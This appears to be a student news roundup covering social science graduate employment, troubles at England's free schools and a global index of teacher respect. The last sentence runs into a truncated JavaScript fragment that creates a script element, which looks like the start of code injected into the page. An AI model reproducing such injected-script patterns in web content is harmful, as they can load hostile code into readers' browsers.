The Studentsphere: Edition 2

Local, national and global student news at a glance.

By Kirsty-Louise Hunt, News Editor

Social science graduates more likely to be in paid employment

Or so it appears, according to a new report by Campaign for Social Science.

The report is based on statistics published in August by the Higher Education Statistics Agency (HESA) which looked at a sample of 62,205 graduates ,three and a half years after they left their course.

The data revealed that some 84.2% of social science graduates were in paid employment compared to 79% of arts students and 78% of graduates with science degrees.

The authors of the report, Professor Cary Cooper and Professor James Wilsdon, defined social sciences mainly as subjects such as sociology, politics, economics, law, education, business studies and town planning among others.

The figures also showed that social science graduates were more likely to be in a managerial or senior role than their arts and science counterparts.

7.6% of social science graduates in employment were classed as managers and senior officials, compared with 3.6% of those with science degrees and 6.2% of those with arts and humanities backgrounds.

Professor James Wilsdon, Campaign Chair, said: “It’s time to banish any lingering myths about the value of a social science degree.

“Our report shows that employers in the public and private sectors are queuing up to hire social science graduates. They have the skills of analysis, interpretation and communication that our economy and society needs.

“The UK is a world leader in social science, and it’s vital that we maintain this capacity. Teaching and training the next generation of social scientists is an investment that will repay itself many times over.”

It should be noted the report  showed that a higher proportion of science and arts students enter further study after a first degree – but for those eyeing paid job prospects, it might be that a social science degree is the way to go.


Woes continue for controversial ‘free schools’

It’s been a rough few weeks for the Coalition’s flagship ‘free schools’ programme.

Education Secretary Michael Gove’s pet project, which allows parents and independent groups in England to set up their own schools which are funded by the taxpayer but are ‘free’ from local authority regulation, has recently run into some pretty serious problems.

Fears were first sparked over teaching standards following an Ofsted report into a Muslim free school in Derby which rated it “dysfunctional” and inadequate in every category. The problem, apparently, with free schools, is that they’re too free – meaning the Al-Madinah school was able to hire teachers without the appropriate qualifications and operate a discriminatory employment policy. The school has now been put into special measures.

More recently, a flagship free school which had been praised by both Cameron and Gove , both of whom had visited it, has been accused of serious financial mismanagement. The Kings Science Academy in Bradford faces allegations of financial irregularities and possible fraud from a damning report by the Education Funding Agency (EFA).

The recent developments have reignited the debate over the quality of education in England.

Cameron and his ministers, however, have claimed these are just teething problems. Commenting on the Al Madinah school, Cameron told BBC Radio Derby: “Let’s not use this as a stick with which to beat the whole free school movement – there are now hundreds of schools which have set up as free schools, and on average they have more outstanding and good ratings than established schools.”

There have been more than 170 free schools opened in England since 2011.


UK places 10th on global index of teacher respect

An international study of public respect for teachers  placed the UK in 10th place.

The study examined public attitudes to professional status, pay, trust and the desirability of teaching as a career.

In the global index compiled by Professor Peter Dolton at the University of Sussex, which was based on a sample survey of 1,000 adults in each of 21 countries, it was found that only 1 in 5 adults in the UK believed students showed their teachers respect in school.

China, meanwhile, topped the charts – teachers have a very high status in China, where there is a strong cultural emphasis on the importance of education. The status of teachers in China was much higher than even in the next highest countries of Greece, Turkey and South Korea.

Teachers in China are more likely to be on a status par with doctors while in the UK they are found to be viewed in the same bracket as nurses and social workers.var d=document;var s=d.createElement(‘script’);